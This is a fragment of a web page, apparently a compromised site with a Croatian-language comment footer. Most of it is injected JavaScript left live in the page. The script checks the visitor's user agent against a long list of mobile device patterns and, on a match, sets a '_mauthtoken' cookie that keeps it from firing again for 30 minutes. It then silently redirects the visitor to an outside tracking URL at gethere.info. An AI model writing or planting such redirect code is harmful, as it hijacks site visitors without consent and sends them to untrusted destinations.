i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar